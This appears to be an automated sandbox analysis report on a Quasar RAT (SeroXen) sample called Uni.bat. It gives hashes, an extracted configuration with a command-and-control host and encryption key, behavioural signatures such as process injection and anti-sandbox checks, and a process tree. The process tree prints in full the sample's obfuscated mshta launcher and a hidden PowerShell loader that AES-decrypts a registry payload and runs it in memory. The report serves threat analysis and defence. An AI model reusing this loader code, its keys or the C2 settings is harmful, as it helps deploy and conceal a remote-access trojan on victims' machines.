quasar | 78b0a14a882dec287c0dc5a294ad02a4a5aaa0d130839d49f282c7d61069471f

Analysis

max time kernel
51s
max time network
38s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
29/05/2024, 22:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Uni.bat
Size 12.6MB
Sample240529-1z52csbf2y
SHA256 78b0a14a882dec287c0dc5a294ad02a4a5aaa0d130839d49f282c7d61069471f
MD5 898f49c739026123b6a3811fa31abe70
SHA1 31ff6036b40d70d21cb1c4c0163cba0d4c720551
SHA512 a9aa2bf15db84361f315156ee6386cac49c14c2449a72e2f50b2e0b8d100781019c246c03a38a37d5dfc71a7c1c5451457faba074d1a875cab615ecb8d3e453d
SSDEEP 49152:sW7ldCjqzV0qZpSjVbHDGYxqXTQPJee/X5nerh1gnfFijx6ygGSPlPNEIKlfuK1u:i
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

quasar v2.2.5 | seroxen spyware trojan

Malware Config

Extracted

Family

quasar

Version

1.0.0.0

Botnet

v2.2.5 | SeroXen

kimsoylak.ddns.net:4782

Mutex

2cc9d61f-950d-4f23-b7d5-45d9dda2f256

Attributes

encryption_key
F467D794B2E1081B6AD1EAD5813AFA74F053248D
install_name
.exe
log_directory
$sxr-Logs
reconnect_delay
1

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/4996-61-0x000002B0393C0000-0x000002B039B8A000-memory.dmp	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs

description	pid	Process	procid_target
PID 2576 created 620	2576	Uni.bat.exe	5
PID 4996 created 620	4996	$sxr-powershell.exe	5
PID 4996 created 620	4996	$sxr-powershell.exe	5
PID 2576 created 620	2576	Uni.bat.exe	5

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Executes dropped EXE 5 IoCs

pid	Process
2576	Uni.bat.exe
3980	$sxr-mshta.exe
3688	$sxr-cmd.exe
4996	$sxr-powershell.exe
1144	$sxr-powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe

Suspicious use of SetThreadContext 8 IoCs

description	pid	Process	procid_target
PID 2576 set thread context of 5008	2576	Uni.bat.exe	98
PID 2576 set thread context of 3736	2576	Uni.bat.exe	99
PID 4996 set thread context of 1500	4996	$sxr-powershell.exe	105
PID 4996 set thread context of 3612	4996	$sxr-powershell.exe	106
PID 4996 set thread context of 4116	4996	$sxr-powershell.exe	114
PID 4996 set thread context of 3088	4996	$sxr-powershell.exe	115
PID 2576 set thread context of 4192	2576	Uni.bat.exe	118
PID 2576 set thread context of 676	2576	Uni.bat.exe	119

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-powershell.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	Uni.bat.exe
File created	C:\Windows\$sxr-mshta.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	Uni.bat.exe
File created	C:\Windows\$sxr-cmd.exe	Uni.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	Uni.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\CurrentWorkingDirectory	RuntimeBroker.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\ManagedByApp	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\PersistedStorageItemTable\MostRecentlyUsed	RuntimeBroker.exe

Runs regedit.exe 1 IoCs

pid	Process
2484	regedit.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2576	Uni.bat.exe
2576	Uni.bat.exe
2576	Uni.bat.exe
5008	dllhost.exe
5008	dllhost.exe
5008	dllhost.exe
3736	dllhost.exe
3736	dllhost.exe
3736	dllhost.exe
3736	dllhost.exe
5008	dllhost.exe
5008	dllhost.exe
2576	Uni.bat.exe
2576	Uni.bat.exe
4996	$sxr-powershell.exe
4996	$sxr-powershell.exe
4996	$sxr-powershell.exe
4996	$sxr-powershell.exe
4996	$sxr-powershell.exe
1500	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
1500	dllhost.exe
3612	dllhost.exe
3612	dllhost.exe
3612	dllhost.exe
3612	dllhost.exe
4996	$sxr-powershell.exe
4996	$sxr-powershell.exe
4996	$sxr-powershell.exe
1144	$sxr-powershell.exe
1144	$sxr-powershell.exe
4996	$sxr-powershell.exe
4116	dllhost.exe
4116	dllhost.exe
1144	$sxr-powershell.exe
3088	dllhost.exe
3088	dllhost.exe
3088	dllhost.exe
3088	dllhost.exe
4116	dllhost.exe
4116	dllhost.exe
4116	dllhost.exe
4116	dllhost.exe
3088	dllhost.exe
3088	dllhost.exe
1144	$sxr-powershell.exe
1144	$sxr-powershell.exe
4116	dllhost.exe
4116	dllhost.exe
3088	dllhost.exe
3088	dllhost.exe
4116	dllhost.exe
4116	dllhost.exe
3088	dllhost.exe
3088	dllhost.exe
4116	dllhost.exe
4116	dllhost.exe
3088	dllhost.exe
3088	dllhost.exe
4116	dllhost.exe
4116	dllhost.exe
3088	dllhost.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2484	regedit.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2576	Uni.bat.exe
Token: SeDebugPrivilege	2576	Uni.bat.exe
Token: SeDebugPrivilege	5008	dllhost.exe
Token: SeDebugPrivilege	3736	dllhost.exe
Token: SeDebugPrivilege	4996	$sxr-powershell.exe
Token: SeDebugPrivilege	4996	$sxr-powershell.exe
Token: SeDebugPrivilege	1500	dllhost.exe
Token: SeDebugPrivilege	3612	dllhost.exe
Token: SeDebugPrivilege	1144	$sxr-powershell.exe
Token: SeDebugPrivilege	4996	$sxr-powershell.exe
Token: SeDebugPrivilege	4116	dllhost.exe
Token: SeDebugPrivilege	3088	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2176	svchost.exe
Token: SeIncreaseQuotaPrivilege	2176	svchost.exe
Token: SeSecurityPrivilege	2176	svchost.exe
Token: SeTakeOwnershipPrivilege	2176	svchost.exe
Token: SeLoadDriverPrivilege	2176	svchost.exe
Token: SeSystemtimePrivilege	2176	svchost.exe
Token: SeBackupPrivilege	2176	svchost.exe
Token: SeRestorePrivilege	2176	svchost.exe
Token: SeShutdownPrivilege	2176	svchost.exe
Token: SeSystemEnvironmentPrivilege	2176	svchost.exe
Token: SeUndockPrivilege	2176	svchost.exe
Token: SeManageVolumePrivilege	2176	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2176	svchost.exe
Token: SeIncreaseQuotaPrivilege	2176	svchost.exe
Token: SeSecurityPrivilege	2176	svchost.exe
Token: SeTakeOwnershipPrivilege	2176	svchost.exe
Token: SeLoadDriverPrivilege	2176	svchost.exe
Token: SeSystemtimePrivilege	2176	svchost.exe
Token: SeBackupPrivilege	2176	svchost.exe
Token: SeRestorePrivilege	2176	svchost.exe
Token: SeShutdownPrivilege	2176	svchost.exe
Token: SeSystemEnvironmentPrivilege	2176	svchost.exe
Token: SeUndockPrivilege	2176	svchost.exe
Token: SeManageVolumePrivilege	2176	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2176	svchost.exe
Token: SeIncreaseQuotaPrivilege	2176	svchost.exe
Token: SeSecurityPrivilege	2176	svchost.exe
Token: SeTakeOwnershipPrivilege	2176	svchost.exe
Token: SeLoadDriverPrivilege	2176	svchost.exe
Token: SeSystemtimePrivilege	2176	svchost.exe
Token: SeBackupPrivilege	2176	svchost.exe
Token: SeRestorePrivilege	2176	svchost.exe
Token: SeShutdownPrivilege	2176	svchost.exe
Token: SeSystemEnvironmentPrivilege	2176	svchost.exe
Token: SeUndockPrivilege	2176	svchost.exe
Token: SeManageVolumePrivilege	2176	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2176	svchost.exe
Token: SeIncreaseQuotaPrivilege	2176	svchost.exe
Token: SeSecurityPrivilege	2176	svchost.exe
Token: SeTakeOwnershipPrivilege	2176	svchost.exe
Token: SeLoadDriverPrivilege	2176	svchost.exe
Token: SeSystemtimePrivilege	2176	svchost.exe
Token: SeBackupPrivilege	2176	svchost.exe
Token: SeRestorePrivilege	2176	svchost.exe
Token: SeShutdownPrivilege	2176	svchost.exe
Token: SeSystemEnvironmentPrivilege	2176	svchost.exe
Token: SeUndockPrivilege	2176	svchost.exe
Token: SeManageVolumePrivilege	2176	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2176	svchost.exe
Token: SeIncreaseQuotaPrivilege	2176	svchost.exe
Token: SeSecurityPrivilege	2176	svchost.exe
Token: SeTakeOwnershipPrivilege	2176	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4996	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4588 wrote to memory of 2576	4588	cmd.exe	95
PID 4588 wrote to memory of 2576	4588	cmd.exe	95
PID 2576 wrote to memory of 5008	2576	Uni.bat.exe	98
PID 2576 wrote to memory of 5008	2576	Uni.bat.exe	98
PID 2576 wrote to memory of 5008	2576	Uni.bat.exe	98
PID 2576 wrote to memory of 5008	2576	Uni.bat.exe	98
PID 2576 wrote to memory of 5008	2576	Uni.bat.exe	98
PID 2576 wrote to memory of 5008	2576	Uni.bat.exe	98
PID 2576 wrote to memory of 5008	2576	Uni.bat.exe	98
PID 2576 wrote to memory of 3736	2576	Uni.bat.exe	99
PID 2576 wrote to memory of 3736	2576	Uni.bat.exe	99
PID 2576 wrote to memory of 3736	2576	Uni.bat.exe	99
PID 2576 wrote to memory of 3736	2576	Uni.bat.exe	99
PID 2576 wrote to memory of 3736	2576	Uni.bat.exe	99
PID 2576 wrote to memory of 3736	2576	Uni.bat.exe	99
PID 2576 wrote to memory of 3736	2576	Uni.bat.exe	99
PID 2576 wrote to memory of 3736	2576	Uni.bat.exe	99
PID 2576 wrote to memory of 3736	2576	Uni.bat.exe	99
PID 3980 wrote to memory of 3688	3980	$sxr-mshta.exe	101
PID 3980 wrote to memory of 3688	3980	$sxr-mshta.exe	101
PID 3688 wrote to memory of 4996	3688	$sxr-cmd.exe	103
PID 3688 wrote to memory of 4996	3688	$sxr-cmd.exe	103
PID 4996 wrote to memory of 1500	4996	$sxr-powershell.exe	105
PID 4996 wrote to memory of 1500	4996	$sxr-powershell.exe	105
PID 4996 wrote to memory of 1500	4996	$sxr-powershell.exe	105
PID 4996 wrote to memory of 1500	4996	$sxr-powershell.exe	105
PID 4996 wrote to memory of 1500	4996	$sxr-powershell.exe	105
PID 4996 wrote to memory of 1500	4996	$sxr-powershell.exe	105
PID 4996 wrote to memory of 1500	4996	$sxr-powershell.exe	105
PID 4996 wrote to memory of 3612	4996	$sxr-powershell.exe	106
PID 4996 wrote to memory of 3612	4996	$sxr-powershell.exe	106
PID 4996 wrote to memory of 3612	4996	$sxr-powershell.exe	106
PID 4996 wrote to memory of 3612	4996	$sxr-powershell.exe	106
PID 4996 wrote to memory of 3612	4996	$sxr-powershell.exe	106
PID 4996 wrote to memory of 3612	4996	$sxr-powershell.exe	106
PID 4996 wrote to memory of 3612	4996	$sxr-powershell.exe	106
PID 4996 wrote to memory of 3612	4996	$sxr-powershell.exe	106
PID 4996 wrote to memory of 3612	4996	$sxr-powershell.exe	106
PID 4996 wrote to memory of 1144	4996	$sxr-powershell.exe	113
PID 4996 wrote to memory of 1144	4996	$sxr-powershell.exe	113
PID 4996 wrote to memory of 4116	4996	$sxr-powershell.exe	114
PID 4996 wrote to memory of 4116	4996	$sxr-powershell.exe	114
PID 4996 wrote to memory of 4116	4996	$sxr-powershell.exe	114
PID 4996 wrote to memory of 4116	4996	$sxr-powershell.exe	114
PID 4996 wrote to memory of 4116	4996	$sxr-powershell.exe	114
PID 4996 wrote to memory of 4116	4996	$sxr-powershell.exe	114
PID 4996 wrote to memory of 4116	4996	$sxr-powershell.exe	114
PID 4996 wrote to memory of 4116	4996	$sxr-powershell.exe	114
PID 4996 wrote to memory of 4116	4996	$sxr-powershell.exe	114
PID 4996 wrote to memory of 3088	4996	$sxr-powershell.exe	115
PID 4996 wrote to memory of 3088	4996	$sxr-powershell.exe	115
PID 4996 wrote to memory of 3088	4996	$sxr-powershell.exe	115
PID 4996 wrote to memory of 3088	4996	$sxr-powershell.exe	115
PID 4996 wrote to memory of 3088	4996	$sxr-powershell.exe	115
PID 4996 wrote to memory of 3088	4996	$sxr-powershell.exe	115
PID 4996 wrote to memory of 3088	4996	$sxr-powershell.exe	115
PID 4996 wrote to memory of 3088	4996	$sxr-powershell.exe	115
PID 4996 wrote to memory of 3088	4996	$sxr-powershell.exe	115
PID 4996 wrote to memory of 3088	4996	$sxr-powershell.exe	115
PID 4116 wrote to memory of 620	4116	dllhost.exe	5
PID 4116 wrote to memory of 680	4116	dllhost.exe	7
PID 4116 wrote to memory of 948	4116	dllhost.exe	12
PID 4116 wrote to memory of 1020	4116	dllhost.exe	13
PID 4116 wrote to memory of 416	4116	dllhost.exe	14

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1020
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{c160762c-fe29-4303-9d94-e21fdbf01851}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5008
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{78212a9b-f533-49a8-9856-ea6517cc96d9}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1500
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{05928834-2835-4cf6-a133-db27ecf2cf50}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4116
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{13e8d803-5fb0-440c-8ef0-7a9f836a6819}
  2⤵
  PID:4192

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:680

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1056

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1180
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2628
- C:\Windows\$sxr-mshta.exe
  C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-jUsBURfHSoufmNeEAjpO4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:3980
- - C:\Windows\$sxr-cmd.exe
    "C:\Windows\$sxr-cmd.exe" /c %$sxr-jUsBURfHSoufmNeEAjpO4312:&#<?=%
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:3688
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:2060
  - - C:\Windows\$sxr-powershell.exe
      C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function hufeg($iDMxb){ $Elzpw=[System.Security.Cryptography.Aes]::Create(); $Elzpw.Mode=[System.Security.Cryptography.CipherMode]::CBC; $Elzpw.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $Elzpw.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk='); $Elzpw.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA=='); $wCTZr=$Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')(); $YgtPo=$wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($iDMxb, 0, $iDMxb.Length); $wCTZr.Dispose(); $Elzpw.Dispose(); $YgtPo;}function FJcTY($iDMxb){ $KHdof=New-Object System.IO.MemoryStream(,$iDMxb); $mdDGq=New-Object System.IO.MemoryStream; $PZsap=New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::Decompress); $PZsap.CopyTo($mdDGq); $PZsap.Dispose(); $KHdof.Dispose(); $mdDGq.Dispose(); $mdDGq.ToArray();}function vUmWc($iDMxb,$PbTpW){ $YHPse=[System.Reflection.Assembly]::Load([byte[]]$iDMxb); $aMqIy=$YHPse.EntryPoint; $aMqIy.Invoke($null, $PbTpW);}$Elzpw1 = New-Object System.Security.Cryptography.AesManaged;$Elzpw1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$lkChZ = $Elzpw1.('rotpyrceDetaerC'[-1..-15] -join '')();$kveij = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('skxuT638mXYXO82tnMu4Nw==');$kveij = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij, 0, $kveij.Length);$kveij = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij);$uYwHJ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7tPhtRoBPpmbD4jKqCrROmZ5ihpYMWVokvpj2Ng/Pz8=');$uYwHJ = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($uYwHJ, 0, $uYwHJ.Length);$uYwHJ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($uYwHJ);$XPhKE = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MN4dM3v9612JtLqaveCMYg==');$XPhKE = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($XPhKE, 0, $XPhKE.Length);$XPhKE = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($XPhKE);$muibj = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('omE0gz6POPNwhNmUAnPGH44LhwPPACLWik/KT0dk5wsKXAxtKag+L5FPGR5kaqhlGUck2HtfdRNBwrYMOEAetiGgAox0exmtDDnAYLadphZBvi4OP8B8BNL4k5y/z1AEr7oudmgyCQifH3aXxa/gUUa4xjDsSD2YTOub7PHlsdmqG91RSBUMJH4vfT2zptSsj0OSscQsY4xVPZ8OjeRKbzP+BjF+Uue1s9LcXQdrizsUEKJN4dY28g0skU19VzfudgJv7Qa+SS93YCgWa9n+oNhygZquca/xgmF4Z+su7WedF+8tBgUKzviRtdEdVgLq/OMSlirCLjvFnSHC2y9K1oTEEyD1mQB836kwPebOOTmBNH6vdn2bEQQYiF/vc3FItt5vYPuWyJGzUen95KOQjYu7YoPz/dFXDUgmI65vnuw=');$muibj = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($muibj, 0, $muibj.Length);$muibj = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($muibj);$DHHcr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('tYnkG6mWBgWnZf6oIR3L5A==');$DHHcr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DHHcr, 0, $DHHcr.Length);$DHHcr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DHHcr);$EQNXr = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('5fF2zWzAZ0BefyD1XaGcLw==');$EQNXr = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($EQNXr, 0, $EQNXr.Length);$EQNXr = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($EQNXr);$mYQZS = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3I7S8iNpJjrn0k9Lgckneg==');$mYQZS = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mYQZS, 0, $mYQZS.Length);$mYQZS = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mYQZS);$DbkFT = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v8BsdeVWD9I78LbbRhRFrA==');$DbkFT = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($DbkFT, 0, $DbkFT.Length);$DbkFT = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($DbkFT);$jgfOd = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('OEFFbXtp5W2U1hAoq0CpPw==');$jgfOd = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($jgfOd, 0, $jgfOd.Length);$jgfOd = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($jgfOd);$kveij0 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1+Vym/OwDnC1v1RFNGQ5MA==');$kveij0 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij0, 0, $kveij0.Length);$kveij0 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij0);$kveij1 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('1UB7UYof3ztQu3+ei666DQ==');$kveij1 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij1, 0, $kveij1.Length);$kveij1 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij1);$kveij2 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('9594UuKb/Z+/WVWczIhxbQ==');$kveij2 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij2, 0, $kveij2.Length);$kveij2 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij2);$kveij3 = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxkDZyakK1CM3mmPkfi6OQ==');$kveij3 = $lkChZ.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($kveij3, 0, $kveij3.Length);$kveij3 = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($kveij3);$lkChZ.Dispose();$Elzpw1.Dispose();if (@(get-process -ea silentlycontinue $kveij3).count -gt 1) {exit};$ebqGe = [Microsoft.Win32.Registry]::$DbkFT.$mYQZS($kveij).$EQNXr($uYwHJ);$SceND=[string[]]$ebqGe.Split('\');$sNXpr=FJcTY(hufeg([System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[1])));vUmWc $sNXpr (,[string[]] ('%*', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));$GiWwX = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($SceND[0]);$Elzpw = New-Object System.Security.Cryptography.AesManaged;$Elzpw.Mode = [System.Security.Cryptography.CipherMode]::CBC;$Elzpw.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$Elzpw.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ScFxiXv+iEo0UMCuEp0Dj6ldTafwKIFrpQdT06sepfk=');$Elzpw.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('x90xMD7ECTiuD6SgY+FhCA==');$wCTZr = $Elzpw.('rotpyrceDetaerC'[-1..-15] -join '')();$GiWwX = $wCTZr.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($GiWwX, 0, $GiWwX.Length);$wCTZr.Dispose();$Elzpw.Dispose();$KHdof = New-Object System.IO.MemoryStream(, $GiWwX);$mdDGq = New-Object System.IO.MemoryStream;$PZsap = New-Object System.IO.Compression.GZipStream($KHdof, [IO.Compression.CompressionMode]::$kveij1);$PZsap.$jgfOd($mdDGq);$PZsap.Dispose();$KHdof.Dispose();$mdDGq.Dispose();$GiWwX = $mdDGq.ToArray();$cyNnW = $muibj | IEX;$YHPse = $cyNnW::$kveij2($GiWwX);$aMqIy = $YHPse.EntryPoint;$aMqIy.$kveij0($null, (, [string[]] ($XPhKE)))
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:4996
    - - C:\Windows\SysWOW64\dllhost.exe
        
